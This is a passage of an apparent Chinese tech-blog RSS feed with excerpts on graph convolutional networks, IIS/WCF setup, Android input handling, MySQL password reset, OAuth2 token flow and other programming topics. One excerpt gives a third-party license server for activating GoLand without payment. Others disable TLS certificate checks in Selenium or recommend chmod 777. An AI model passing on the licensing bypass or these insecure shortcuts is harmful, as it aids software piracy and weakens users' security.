data。比如推荐系统、电子交易、计算几何、脑信号、分子结构等抽象出的图谱。这些图谱结构每个节点连接都不尽相同，有的节点有三个连接，有的节点有两个连接，是不规则的数据结构。&#xA;下面结合两个典型的业务场景来说明什么是图：&#xA;社交网络非常适合用图数据来表达&#xA;上面的图谱刻画社交网络中各个节点以及它们之间的关系，用户A、用户B、帖子都是节点，用户与用户之间的关系是关注，用户与帖子之间的关系可能是发布或者转发。通过这样一个图谱，可以分析用户对什么人、什么事感兴趣，进一步实现推荐机制。&#xA;电商场景中的图谱&#xA;在电商中，我们首先可以想到的关键节点就是，用户、交易和商品。用户关联的节点比如会有注册地址、收获地址等；交易会关联到商品、收货地址、交易IP等、商品会关联类目等。这些节点之间的关系，比如用户除了可以通过交易购买商品，还可以对商品进行评分。这样的图数据我们可以用来做两件事情，一是推荐、二是反欺诈。&#xA;通过上面两个例子，可以很明显的感受到，图有两个基本的特性：&#xA;一是每个节点都有自己的特征信息。比如针对上图，我们建立一个风控规则，要看这个用户的注册地址、IP地址、交易的收货地址是否一样，如果这些特征信息不匹配，那么系统就会判定这个用户就存在一定的欺诈风险。这是对图节点特征信息的应用。&#xA;二是图谱中的每个节点还具有结构信息。如果某段时间某个IP节点连接的交易节点非常多，也就是说从某个IP节点延伸出来的边非常多，那么风控系统会判定这个IP地址存在风险。这是对图节点结构信息的应用。&#xA;总的来说，在图数据里面，我们要同时考虑到节点的特征信息以及结构信息，如果靠手工规则来提取，必将失去很多隐蔽和复杂的模式，那么有没有一种方法能自动化地同时学到图的特征信息与结构信息呢？——图卷积神经网络&#xA;什么是图卷积神经网络 图卷积神经网络（Graph Convolutional Network）是一种能对图数据进行深度学习的方法。&#xA;图卷积算子：&#xA;上面给出的是图卷积算子的计算公式，设中心节点为i；&#xA;如何理解图卷积算法？我们看动图分三步去理解（注意不同颜色代表不同的权重）：&#xA;第一步：发射（send）每一个节点将自身的特征信息经过变换后发送给邻居节点。这一步是在对节点的特征信息进行抽取变换。&#xA;第二步：接收（receive）每个节点将邻居节点的特征信息聚集起来。这一步是在对节点的局部结构信息进行融合。&#xA;第三步：变换（transform）把前面的信息聚集之后做非线性变换，增加模型的表达能力。&#xA;图卷积神经网络具有卷积神经网络的以下性质：&#xA;1、局部参数共享，算子是适用于每个节点（圆圈代表算子），处处共享。&#xA;2、感受域正比于层数，最开始的时候，每个节点包含了直接邻居的信息，再计算第二层时就能把邻居的邻居的信息包含进来，这样参与运算的信息就更多更充分。层数越多，感受域就更广，参与运算的信息就更多。&#xA;我们来看GCN这个模型框架，输入是一张图，经过一层一层计算变换，最后输出一张图。&#xA;GCN模型同样具备深度学习的三种性质：&#xA;1、层级结构（特征一层一层抽取，一层比一层更抽象，更高级）；&#xA;2、非线性变换 （增加模型的表达能力）；&#xA;3、端对端训练（不需要再去定义任何规则，只需要给图的节点一个标记，让模型自己学习，融合特征信息和结构信息。）&#xA;GCN四个特征：&#xA;1、GCN 是对卷积神经网络在 graph domain 上的自然推广。&#xA;2、它能同时对节点特征信息与结构信息进行端对端学习，是目前对图数据学习任务的最佳选择。&#xA;3、图卷积适用性极广，适用于任意拓扑结构的节点与图。&#xA;4、在节点分类与边预测等任务上，在公开数据集上效果要远远优于其他方法。&#xA;我们怎么用图卷积神经网络 下面分享一个我们在实际应用场景中的实验：&#xA;实验输入是一个验证数据构成的图数据，节点是验证事件以及事件相关的属性节点。如IP，DeviceID，UA等节点。（我们总计用了30天的验证数据，每两个小时的数据构成一张图，共360张图。）&#xA;实验输出是对事件节点进行人机分类，正常或者异常。&#xA;实验细节&#xA;网络结构：&#xA;GCN(128)-&amp;gt;GCN(64)-&amp;gt;GCN(64)-&amp;gt;Linear(2)&#xA;训练: Adam优化器, lr=0.001&#xA;参照基准: 以只能学习特征信息的GBDT做为基准, grid_search 搜索超参数，GBDT是目前最流行的浅层分类器。&#xA;我们用第一天的数据做训练，持续30天预测结果如下：&#xA;GCN模型的准确率衰减比较小，而GBDT的衰减很严重。可见，GCN模型的人机判别效果要好，鲁棒性好。&#xA;7d评估效果可视化，（用第一天的数据训练模型，第七天观察其预测效果及最后一层输出的tsne可视化结果)。上图可以看出，GCN在第七天时对样本判别的分界面仍很明显，但是GBDT对样本判别的分界面已经很模糊类了。综上，GCN学到的结构信息在人机判别中不仅效果很好，也具有更好的鲁棒性。&#xA;写在最后 由于时间有限，很多问题浅尝辄止，关于GCN还有很多有趣的东西。我们将开设专栏《Graph Learning》，作者会分享给大家更加全面的图学习算法。</description>
    </item>
    <item>
      <title>python操作c&#39;s&#39;v及xls(excel)文件</title>
      <link>https://bchobby.github.io/posts/9dcc9bb542c0068f83a7426325e33385/</link>
      <pubDate>Mon, 21 May 2018 00:05:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dcc9bb542c0068f83a7426325e33385/</guid>
      <description>1. 操作csv，使用python的csv模块 操作如下数据表csv格式 # -*- coding: utf-8 -*- &#34;&#34;&#34; Created on Sun May 20 13:04:27 2018 @author: spfhy &#34;&#34;&#34; import csv class OpTestConfig: def __init__(self,ops,case_name,param,run_mode,run_type): self.ops = ops self.case_name = case_name self.param = param self.run_mode = run_mode self.run_type = run_type def opTestGenerateCmd(self): cmd = self.ops + &#39; &#39; + self.case_name + &#39; &#39;\ + self.run_mode + &#39; &#39; + self.param + &#39; &#39; + self.run_type return cmd #解析config配置文件 binFilePath = &#39;&#39; run_mode = &#39;IPU&#39; run_type = &#39;3&#39; with open(&#34;</description>
    </item>
    <item>
      <title>【C#】最完整的IIS添加WCF配置</title>
      <link>https://bchobby.github.io/posts/90a0e037e3c99d71d220aa7aeb01732e/</link>
      <pubDate>Sun, 20 May 2018 23:28:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90a0e037e3c99d71d220aa7aeb01732e/</guid>
      <description>Windows的网站服务器IIS，默认是没有WCF运行环境的，所以需要自己添加配置。之后，才能作为一个网站后台服务，提供接口以供外部调用。下面就其完整步骤进行说明：&#xA;第一步：检查Windows7中IIS是否安装了必要的组件&#xA;方法：控制面板-&amp;gt;程序和功能-&amp;gt;打开或关闭Windows功能，以下图片中标注的功能Windows7默认不会安装的&#xA;第二步：检查IIS的配置&#xA;系统必备功能安装完成后打开IIS服务管理器，点默认网站，双击“处理程序映射”如下&#xA;检查图中红色标注部分是否已经存在，否则WCF服务是无法调用的。不幸如果没有找到这几项的话，则需要安装注册WCF组件&#xA;第三步：安装注册WCF组件流程&#xA;1、使用administrator管理员身份运行cmd命令行工具。（开始 ==&amp;gt; 附件==&amp;gt; 命令提示符 ==&amp;gt; 右键以管理员身份运行）&#xA;2、进入WCF文件夹：cd C:\WINDOWS\Microsoft.NET\Framework\v3.0\Windows Communication Foundation&#xA;3、注册WCF组件，执行：ServiceModelReg.exe -i 回车，如下图：&#xA;第四步：IIS注册4.0框架&#xA;如果想运行4.0的网站，需要用aspnet_regiis注册4.0框架，然后用4.0的Class池，就可以运行4.0的web项目。操作流程跟上一步类似，以管理员身份运行DOS窗口，然后进入C:\Windows\Microsoft.NET\Framework\v4.0.30319，最后执行aspnet_regiis.exe -i ，如下图：&#xA;此时，IIS就可以运行 .net 4.0部署的网站了，但对于WCF，兴许还需要进行接下来的步骤。&#xA;第五步：MIME类型修改&#xA;在界面中找到MIME类型，双击打开，这里选中任意的网站都可以，因为MIME类型针对于全部网站&#xA;点击右上角的“添加”，填写内容如下即可：&#xA;第六步：“处理程序映射”修改&#xA;双击打开“处理程序映射”：&#xA;点击右上角的“添加托管处理程序”，添加信息如下即可：&#xA;至此，所有的WCF相关环境设置完成，可以运行WCF后台服务程序了。如果这里还是有问题，那可能是电脑兼容性的问题，可以尝试开启32位兼容模式，具体在右上角的“编辑权限”中。</description>
    </item>
    <item>
      <title>Android事件传递流程</title>
      <link>https://bchobby.github.io/posts/b292d30ecce145871a40320ee1ac6e4e/</link>
      <pubDate>Sat, 19 May 2018 17:49:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b292d30ecce145871a40320ee1ac6e4e/</guid>
      <description>##启动服务&#xA;在系统启动时候，会启动多个服务，其中包括InputManagerService&#xA;inputManager = new InputManagerService(context); 看看InputManagerService构造方法&#xA;public InputManagerService(Context context) { this.mContext = context; this.mHandler = new InputManagerHandler(DisplayThread.get().getLooper()); .... mPtr = nativeInit(this, mContext, mHandler.getLooper().getQueue()); //mPtr是NativeInputManager的实例 .... } 构造方法中比较重要的是nativeInit，对应在com_android_server_input_InputManagerService.cpp中执行&#xA;static jlong nativeInit(JNIEnv* env, jclass /* clazz */, jobject serviceObj, jobject contextObj, jobject messageQueueObj) { sp&amp;lt;MessageQueue&amp;gt; messageQueue = android_os_MessageQueue_getMessageQueue(env, messageQueueObj); if (messageQueue == NULL) { jniThrowRuntimeException(env, &#34;MessageQueue is not initialized.&#34;); return 0; } NativeInputManager* im = new NativeInputManager(contextObj, serviceObj, messageQueue-&amp;gt;getLooper()); im-&amp;gt;incStrong(0); return reinterpret_cast&amp;lt;jlong&amp;gt;(im); } 上述主要完成NativeInputManager初始化，并返回NativeInputManager实例对象，继续分析NativeInputManager构造函数，同样在com_android_server_input_InputManagerService.</description>
    </item>
    <item>
      <title>GoLang激活码</title>
      <link>https://bchobby.github.io/posts/f35cd68c1ba6dc55bd61146b20bae1b2/</link>
      <pubDate>Sat, 19 May 2018 10:44:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f35cd68c1ba6dc55bd61146b20bae1b2/</guid>
      <description>虽然行为不太好，但是购买的话实在是比较贵。&#xA;进入软件，Help-Register，选择License Server，输入&#xA;http://idea.youbbs.org 激活即可。&#xA;转载于:https://www.cnblogs.com/GoForMyDream/p/9059645.html</description>
    </item>
    <item>
      <title>车道线检测之lanelines-detection</title>
      <link>https://bchobby.github.io/posts/d290e00ee3dc75bbf69aa35c6e3d21cb/</link>
      <pubDate>Fri, 18 May 2018 17:44:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d290e00ee3dc75bbf69aa35c6e3d21cb/</guid>
      <description>本篇博客整个项目源码：github NOTE：本文只介绍了基本的车道线检测方法，预测曲率及车辆位置的车道线检测请戳：无人驾驶之高级车道线检测-AdvanceLanefinding_release&#xA;前言 本次博客主要分享Udacity自动驾驶纳米学位的第一个项目，车道线检测算法模型的实现。 本项目主要实现以下几个功能：&#xA;在一张图片上检测出车道线，并将其标记成红色在一段视频上检测出车道线，并将其标记为红色 基本实现思路 我们采用传统的边缘检测的方法，如canny算法检测出轮廓，然后利用Hough变换检测出直线，最后在图片或者视频上画出直线。模型架构图如下所示： 这模型实现期间我们使用了一些小技巧：&#xA;去噪角度滤波器：滤除极小锐角或极大钝角的线段选取黄色的色调，并用白色代替在边缘检测前，放大一些特征 具体代码实现 # importing some useful packages import matplotlib.pyplot as plt import matplotlib.image as mpimg import numpy as np import cv2 %matplotlib inline #reading in an image dir_img = &#39;test_images/&#39; image = mpimg.imread(&#39;test_images/solidWhiteRight.jpg&#39;)#RGB #print out some stats and plotting print(&#39;This image is:&#39;,type(image),&#39;with dimensions:&#39;,image.shape) plt.imshow(image) This image is: &amp;lt;class &#39;numpy.ndarray&#39;&amp;gt; with dimensions: (540, 960, 3) &amp;lt;matplotlib.image.AxesImage at 0x7f6064cb4860&amp;gt; 车道线检测的一些思路 opencv库为我们提供了一些有用的函数： cv2.inRange():颜色选择 cv2.</description>
    </item>
    <item>
      <title>微信小程序 mpvue，webview中h5页面向小程序发送数据bindmessage方法</title>
      <link>https://bchobby.github.io/posts/118989180bf827dba402960c5464d2a8/</link>
      <pubDate>Thu, 17 May 2018 22:54:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/118989180bf827dba402960c5464d2a8/</guid>
      <description>公司小程序场景中需要用到webview中的bindmessage方法，因为不好好看文档，弄了好长时间，心碎，所以在这里给自己加深一下印象，要好好看文档。 方法的话，微信小程序原生写法和mpvue方法类似，在这里仅以mpvue为例，以转发为条件触发bindmessage事件&#xA;注意点 网页向小程序 postMessage 时，会在特定时机（小程序后退、组件销毁、分享）触发并收到消息。一定看清楚是小程序后退、组件销毁、分享时才会触发，我没看清弄了好长时间，蓝瘦香菇…… 感觉这个方法有点坑，请慎用……，特定时机（小程序后退、组件销毁、分享）触发 小程序 template &amp;lt;web-view :src=&#34;url&#34; @message=&#34;bindmessage&#34;&amp;gt;&amp;lt;/web-view&amp;gt; script bindmessage(e){ console.log(e) } h5页面 html 引入js sdk &amp;lt;!-- html --&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://res.wx.qq.com/open/js/jweixin-1.3.2.js&#34;&amp;gt;&amp;lt;/script&amp;gt; script 向小程序传值的方法 // javascript wx.miniProgram.postMessage({ data: &#39;foo&#39; }) wx.miniProgram.postMessage({ data: {foo: &#39;bar&#39;} }) 所有代码 以转发为条件触发bindmessage事件 &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;web-view :src=&#34;url&#34; @message=&#34;bindmessage&#34;&amp;gt;&amp;lt;/web-view&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import store from &#39;@/pages/counter/store&#39; export default { data () { return { url:&#39;&#39; } }, store, onShareAppMessage(options) { return { title: &#39;title&#39;, path: this.</description>
    </item>
    <item>
      <title>ERROR 1045 (28000): Access denied for user &#39;root&#39;@&#39;localhost&#39; (using password: NO) 的解决办法</title>
      <link>https://bchobby.github.io/posts/a57b8e54905f331fffad7717c08ac6f9/</link>
      <pubDate>Thu, 17 May 2018 11:28:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a57b8e54905f331fffad7717c08ac6f9/</guid>
      <description>这个问题是在Windows下安装MySQL服务时遇到的，使用MySQl绿色版进行安装的，安装完成后，连接到MySQL服务时输入命令 “ mysql -uroot -p ” ，因为时第一次登录，未设置密码，直接回车，就遇到了这个问题，错误信息如下：&#xA;“ ERROR 1045 (28000): Access denied for user &#39;root&#39;@&#39;localhost&#39; (using password: NO) ”&#xA;如下图：&#xA;解决办法：&#xA;首先需要关闭MySQL服务，输入命令：&#xA;mysql&amp;gt; net stop MySQL&#xA;用安全模式开始本地MySQL服务，（注意：以管理员身份启动cmd窗口），输入命令 “ mysqld --defaults-file=&#34;G:\Install_Applications\mysql-8.0.11\my.ini&#34; --console --skip-grant-tables ” 启动MySQL服务后，光标会一直停止没有任何输出，这儿的话说明MySQL服务已经启动了。&#xA;启动cmd窗口，输入命令 “ mysql -uroot -p ” 直接回车登录到MySQL服务器，然后进行修改，可以输入命令：&#xA;(5.7.11以前) &amp;gt; update user set password=password(&#34;123456&#34;) where user=&#34;root&#34;;&#xA;（5.7.11 或者以后）&amp;gt; update user set authentication_string=password(&#34;123456&#34;) where user=&#34;root&#34;;&#xA;在这儿我是用的是：&#xA;mysql&amp;gt; ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;HuaZai12345!&#39;;&#xA;如下图：&#xA;现在退出，在输入命令 “ mysql -uroot -p ” 在输入刚才设置的密码，就可以正常登录到MySQL服务器了，如下图：</description>
    </item>
    <item>
      <title>js 简单的时间戳与日期的相互转换（直接拿走用）</title>
      <link>https://bchobby.github.io/posts/ecb46f1f8f91d8b9d80d97bf23854c81/</link>
      <pubDate>Wed, 16 May 2018 10:42:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecb46f1f8f91d8b9d80d97bf23854c81/</guid>
      <description>// 一天后的时间转换 var date = new Date( &#39;2018-02-16&#39;); var last = 24 * 60 * 60 * 1000; var time1 = date. getTime(); var news = time1 + last; console. log( time1); // 1518739200000 function timestampToTime( timestamp) { var date = new Date( timestamp); //时间戳为10位需*1000，时间戳为13位的话不需乘1000 Y = date. getFullYear() + &#39;-&#39;; M = ( date. getMonth()+ 1 &amp;lt; 10 ? &#39;0&#39;+( date. getMonth()+ 1) : date. getMonth()+ 1) + &#39;-&#39;; D = date.</description>
    </item>
    <item>
      <title>linux文件操作（ATT汇编）</title>
      <link>https://bchobby.github.io/posts/e1218404e7358c391013e1f2b3d07152/</link>
      <pubDate>Mon, 14 May 2018 21:27:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1218404e7358c391013e1f2b3d07152/</guid>
      <description>首先介绍一下linux的shell脚本写法，其实与windows下.bat文件的写法差不多，一行一行的写命令就行了，例如，当我们要用vim打开某个目录（/user/include/printf.h）下的文件，可以这样写：&#xA;cd /usr/include&#xA;vim printf.h&#xA;保存为run.sh&#xA;第一次运行shell脚本时，要先给这个脚本权限，假设脚本名称为“run.sh”，命令为“chmod 777 ./run.sh”，之后就能一直使用了。&#xA;进入正文，linux下AT&amp;amp;T汇编——文件操作。&#xA;事实上汇编文件操作甚至要比某些高级语言更简单，因为不用去记那么一堆打开参数，在汇编中，由于基本是对于底层的操作，所以不会区分以文本方式打开还是以二进制方式打开，诸如此类。&#xA;基本步骤：打开文件（获取文件的标识符）--&amp;gt;操作文件（读取文件或者写入文件）--&amp;gt;关闭文件&#xA;以32位linux为例（64位下系统调用号是不同的）：&#xA;打开文件的调用号为5，将5存入eax，ebx存入文件路径字符串的首地址，ecx存入打开方式，只读为“0”，写为“03101”，edx存入权限集合，现在存入“0666”就行了，反正我不懂unix的权限。打开成功后，系统会返回该文件的“文件标识符”,在eax里面。之后全程都要用这个文件标识符指代打开的那个文件。&#xA;读取文件的调用号为3，存入eax，文件标识符存入ebx，在此之前，要划一个缓存区，用来储存读取的数据，将该缓存区的首地址存入ecx，长度存入edx。读取成功后，会按照edx中的长度填充缓存区，就是edx的值是多少，就填充多少（当然，由文件的长度而定），返回已经读取的长度。&#xA;写入文件的调用号为4，存入eax，其余参数同上。返回写入的字节数或者错误代码（写入失败），存入eax。&#xA;关闭文件的调用号为6，存入eax，文件描述符存入ebx。只有这两个参数。&#xA;下面有一个例子，可以读取一个文件制定数量的字符串，并将里面的小写字符转换为大写字符，存入另一个文件的。代码在最后。设读取的文件名为“data”，写入的文件为“data1”，data的文件内容如下：&#xA;hello,world&#xA;abcdefg&#xA;hijklmn&#xA;opqrst&#xA;uvwxyz&#xA;编写的shell脚本内容如下：&#xA;echo &#34;编译代码：&#34; make echo &#34;执行程序：&#34; ./f echo &#34;返回值：&#34; $? makefile文件内容如下（makefile文件是用来编译代码的）：&#xA;f:f_open.o ld -m elf_i386 f_open.o -o f f_open.o:f_open.s as --32 f_open.s -o f_open.o 注：因为我的系统是centos7_64位，as和ld程序是默认以64位进行处理的，所以“--32”可以告诉as程序以32位进行编译，“-m elf_i386”告诉ld程序链接32位的库。&#xA;结果如下：&#xA;具体的汇编代码如下，120多行：&#xA;.section .data fin_src: .string &#34;data&#34; fout_src: .string &#34;data1&#34; //定义常量 .equ SYQUIT,1 .equ FILE_OPEN,5 .equ FILE_CLOSE,6 .equ FILE_READ,3 .equ FILE_WRITE,4 .</description>
    </item>
    <item>
      <title>centos7最小化版无法解析域名</title>
      <link>https://bchobby.github.io/posts/361452b399cd1c5a9de83e72a4bada1f/</link>
      <pubDate>Mon, 14 May 2018 10:53:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/361452b399cd1c5a9de83e72a4bada1f/</guid>
      <description>1.NET网络配置子网IP地址与虚拟机网卡IP在一个地址段&#xA;2.网卡网关设置也是在一个地址段下&#xA;3.在网卡的配置文件中加入&#xA;DNS1=8.8.8.8 #设置主DNS DNS2=8.8.4.4 #设置备DNS 4.重启网络&#xA;systemctl restart network&#xA;5.测试&#xA;ping www.baidu.com 成功</description>
    </item>
    <item>
      <title>C&#43;&#43;内存池(附源码)</title>
      <link>https://bchobby.github.io/posts/8196c9f85447cb247aa49d4f600d73b0/</link>
      <pubDate>Sun, 13 May 2018 16:24:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8196c9f85447cb247aa49d4f600d73b0/</guid>
      <description>C++内存池(附源码) 前段时间阅读了Nginx的源码，其对内存高效的管理给我留下了深刻的印象，而内存管理的核心便是内存池。于是想自己实现一个C++版本的内存池，这方面当然还是STL的内存池最为经典，所以免不了参悟借鉴。内存池的概念早已经是老生常谈，然而把内存池实现的高效安全仍是个比较艰巨的问题。内存池的原理简单来讲就是一次性的向系统申请大量的内存，之后再有内存请求的时候，如果内存池的内存大小能够满足请求，就从内存池里分配，不必再进行系统调用，从而实现性能提升，而多次的内存申请系统调用，很容易生成内存碎片而造成内存浪费。池的概念大体如此，线程池，进程池无出其右。内存池的实现主要解决的问题有：&#xA;1. 内存池的块管理&#xA;2. 内存的分配和回收&#xA;3. 大块内存的分配和回收&#xA;4. 对象初始化&#xA;内存池的块管理 这方面可以直接参考STL的分配器的实现，SGI STL在进行内存分配时，默认使用了一个内存池。这个内存池的内存块从8Byte开始，每递增8Byte都生成一系列链表管理的内存块，一直到128Byte结束。内存块定义为：&#xA;union MemNode { MemNode*&#x9;_next; char&#x9;_data[1]; }; union每个成员的起始地址都是开头的位置，所以每次仅能使用一个成员，在链表中由_next指向下个内存块的地址，在分配内存时由_data指向内存首地址，长度为1 的数组放在结构体最后一个成员位置，可以访问给结构体多分配的地址空间，这种技术叫做柔性数组。这样做的好处减少了对内存块管理时额外的内存损耗。想想我们学习数据结构时实现的链表，都是通过结构体的一个成员来指向下个节点的地址，多出了一个指针4Byte的内存消耗。参考STL，我们内存块的管理如下图所示：&#xA;有同学要问了，那我要是申请比128更大的内存怎么办？SGI 这里就直接走正常的内存申请，还是会有系统调用产生。因为系统对于程序请求的内存，管理时也会生成额外的内存控制数据占用内存，这样申请的内存越小，额外占用的内存比例就越高。 我们每次申请指定量的内存，然后将内存格式化到块管理的数组链表中。&#xA;char* res; size_t need_bytes = size * nums; size_t left_bytes = _pool_end - _pool_start; //内存池够用 if (left_bytes &amp;gt;= need_bytes) { res = _pool_start; _pool_start += need_bytes; return res; } else if (left_bytes &amp;gt;= size) { nums = left_bytes / size; need_bytes = size * nums; res = _pool_start; _pool_start += need_bytes; return res; } size_t bytes_to_get = size * nums; if (!</description>
    </item>
    <item>
      <title>python爬虫访问https网站报错解决方案ERROR:ssl_client_socket_impl.cc(1098)] handshake failed</title>
      <link>https://bchobby.github.io/posts/e8cb7a71160a7b06867327864c335aa7/</link>
      <pubDate>Sat, 12 May 2018 21:10:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8cb7a71160a7b06867327864c335aa7/</guid>
      <description> 报错信息：&#xA;[3488:1356:0512/211222.342:ERROR:ssl_client_socket_impl.cc(1098)] handshake failed; returned -1, SSL error code 1, net_error -101&#xA;Chrome浏览器解决方案：&#xA;from selenium import webdriver if __name__ == &#39;__main__&#39;: options=webdriver.ChromeOptions() options.add_argument(&#39;--ignore-certificate-errors&#39;) driver=webdriver.Chrome(chrome_options=options) driver.get(u&#39;https://python.org/&#39;) driver.close() </description>
    </item>
    <item>
      <title>Android耳机拔插事件流程</title>
      <link>https://bchobby.github.io/posts/8b5b76902a1dc4199d164ffef30f2ee9/</link>
      <pubDate>Sat, 12 May 2018 18:00:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b5b76902a1dc4199d164ffef30f2ee9/</guid>
      <description>Android所有的input设备都会在/dev/input目录下生成对应的设备节点，一旦有任何输入事件产生，便会将事件写到这些节点下，同时对于外部输入设备（鼠标键盘等）的插拔还会引起这些节点的创建和删除 使用adb 命令可以查看当前手机插入的耳机状态,命令为:adb shell cat /sys/class/switch/h2w/state&#xA;驱动层input事件传递 耳机拔插属于switch类型的按键消息，对于驱动层面，会先到InputDispatcher.cpp中处理&#xA;void InputDispatcher::notifySwitch(const NotifySwitchArgs* args) { #if DEBUG_INBOUND_EVENT_DETAILS ALOGD(&#34;notifySwitch - eventTime=%lld, policyFlags=0x%x, switchValues=0x%08x, switchMask=0x%08x&#34;, args-&amp;gt;eventTime, args-&amp;gt;policyFlags, args-&amp;gt;switchValues, args-&amp;gt;switchMask); #endif uint32_t policyFlags = args-&amp;gt;policyFlags; policyFlags |= POLICY_FLAG_TRUSTED; mPolicy-&amp;gt;notifySwitch(args-&amp;gt;eventTime, args-&amp;gt;switchValues, args-&amp;gt;switchMask, policyFlags); } 上述mPolicy就是NativeInputManager，在com_android_server_input_InputManagerService.cpp中定义的NativeInputManager&#xA;class NativeInputManager : public virtual RefBase, public virtual InputReaderPolicyInterface, public virtual InputDispatcherPolicyInterface, public virtual PointerControllerPolicyInterface { .... .... /* --- InputDispatcherPolicyInterface implementation --- */ virtual void notifySwitch(nsecs_t when, uint32_t switchValues, uint32_t switchMask, uint32_t policyFlags); virtual void notifyConfigurationChanged(nsecs_t when); virtual void interceptKeyBeforeQueueing(const KeyEvent* keyEvent, uint32_t&amp;amp; policyFlags); } 所以上述的调用，会在 com_android_server_input_InputManagerService.</description>
    </item>
    <item>
      <title>Spring Security Oauth2 认证（获取token/刷新token）流程（password模式）</title>
      <link>https://bchobby.github.io/posts/b50b1073bb0c2448d9632a41b9fdafcb/</link>
      <pubDate>Fri, 11 May 2018 23:05:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b50b1073bb0c2448d9632a41b9fdafcb/</guid>
      <description>1.本文介绍的认证流程范围 本文主要对从用户发起获取token的请求（/oauth/token），到请求结束返回token中间经过的几个关键点进行说明。&#xA;2.认证会用到的相关请求 注：所有请求均为post请求。&#xA;获取access_token请求（/oauth/token） 请求所需参数：client_id、client_secret、grant_type、username、password http://localhost/oauth/token?client_id=demoClientId&amp;amp;client_secret=demoClientSecret&amp;amp;grant_type=password&amp;amp;username=demoUser&amp;amp;password=50575tyL86xp29O380t1 检查头肯是否有效请求（/oauth/check_token） 请求所需参数：token http://localhost/oauth/check_token?token=f57ce129-2d4d-4bd7-1111-f31ccc69d4d1 刷新token请求（/oauth/token） 请求所需参数：grant_type、refresh_token、client_id、client_secret 其中grant_type为固定值：grant_type=refresh_token http://localhost/oauth/token?grant_type=refresh_token&amp;amp;refresh_token=fbde81ee-f419-42b1-1234-9191f1f95be9&amp;amp;client_id=demoClientId&amp;amp;client_secret=demoClientSecret 2.认证核心流程 注：文中介绍的认证服务器端token存储在Reids，用户信息存储使用数据库，文中会包含相关的部分代码。&#xA;2.1.获取token的主要流程： 加粗内容为每一步的重点，不想细看的可以只看加粗内容：&#xA;用户发起获取token的请求。过滤器会验证path是否是认证的请求/oauth/token，如果为false，则直接返回没有后续操作。过滤器通过clientId查询生成一个Authentication对象。然后会通过username和生成的Authentication对象生成一个UserDetails对象，并检查用户是否存在。以上全部通过会进入地址/oauth/token，即TokenEndpoint的postAccessToken方法中。postAccessToken方法中会验证Scope，然后验证是否是refreshToken请求等。之后调用AbstractTokenGranter中的grant方法。grant方法中调用AbstractUserDetailsAuthenticationProvider的authenticate方法，通过username和Authentication对象来检索用户是否存在。然后通过DefaultTokenServices类从tokenStore中获取OAuth2AccessToken对象。然后将OAuth2AccessToken对象包装进响应流返回。 2.2.刷新token（refresh token）的流程 刷新token（refresh token）的流程与获取token的流程只有⑨有所区别：&#xA;获取token调用的是AbstractTokenGranter中的getAccessToken方法，然后调用tokenStore中的getAccessToken方法获取token。刷新token调用的是RefreshTokenGranter中的getAccessToken方法，然后使用tokenStore中的refreshAccessToken方法获取token。 2.3.tokenStore的特点 tokenStore通常情况为自定义实现，一般放置在缓存或者数据库中。此处可以利用自定义tokenStore来实现多种需求，如：&#xA;同已用户每次获取token，获取到的都是同一个token，只有token失效后才会获取新token。同一用户每次获取token都生成一个完成周期的token并且保证每次生成的token都能够使用（多点登录）。同一用户每次获取token都保证只有最后一个token能够使用，之前的token都设为无效（单点token）。 3.获取token的详细流程（代码截图） 3.1.代码截图梳理流程 1.一个比较重要的过滤器 2.此处是①中的attemptAuthentication方法 3.此处是②中调用的authenticate方法 4.此处是③中调用的AbstractUserDetailsAuthenticationProvider类的authenticate方法 5.此处是④中调用的DaoAuthenticationProvider类的retrieveUser方法 6.此处为⑤中调用的ClientDetailsUserDetailsService类的loadUserByUsername方法，执行完后接着返回执行④之后的方法 7.此处为④中调用的DaoAuthenticationProvider类的additionalAuthenticationChecks方法，此处执行完则主要过滤器执行完毕，后续会进入/oauth/token映射的方法。 8.此处进入/oauth/token映射的TokenEndpoint类的postAccessToken方法 9.此处为⑧中调用的AbstractTokenGranter类的grant方法 10.此处为⑨中调用的ResourceOwnerPasswordTokenGranter类中的getOAuth2Authentication方法 11.此处为⑩中调用的自定义的CustomUserAuthenticationProvider类中的authenticate方法，此处校验用户密码是否正确，此处执行完则返回⑨执行后续方法。 12.此处为⑨中调用的DefaultTokenServices中的createAccessToken方法 13.此处为12中调用的RedisTokenStore中的getAccessToken方法等，此处执行完，则一直向上返回到⑧中执行后续方法。 14.此处为⑧中获取到token后需要包装返回流操作 3.2.示例中spring-security.xml的部分配置 &amp;lt;!-- 认证地址 --&amp;gt; &amp;lt;sec:http pattern=&#34;/oauth/token&#34; create-session=&#34;stateless&#34; authentication-manager-ref=&#34;authenticationManager&#34; &amp;gt; &amp;lt;sec:intercept-url pattern=&#34;/oauth/token&#34; access=&#34;IS_AUTHENTICATED_FULLY&#34; /&amp;gt; &amp;lt;sec:anonymous enabled=&#34;false&#34; /&amp;gt; &amp;lt;sec:http-basic entry-point-ref=&#34;clientAuthenticationEntryPoint&#34; /&amp;gt; &amp;lt;sec:custom-filter ref=&#34;clientCredentialsTokenEndpointFilter&#34; before=&#34;BASIC_AUTH_FILTER&#34; /&amp;gt; &amp;lt;sec:access-denied-handler ref=&#34;oauthAccessDeniedHandler&#34; /&amp;gt; &amp;lt;/sec:http&amp;gt; &amp;lt;bean id=&#34;</description>
    </item>
    <item>
      <title>解决IntelliJ IDEA创建Maven项目没有src目录的问题</title>
      <link>https://bchobby.github.io/posts/bfeafabef7813adc2c31e976310fd7d5/</link>
      <pubDate>Fri, 11 May 2018 20:38:25 +0800</pubDate>
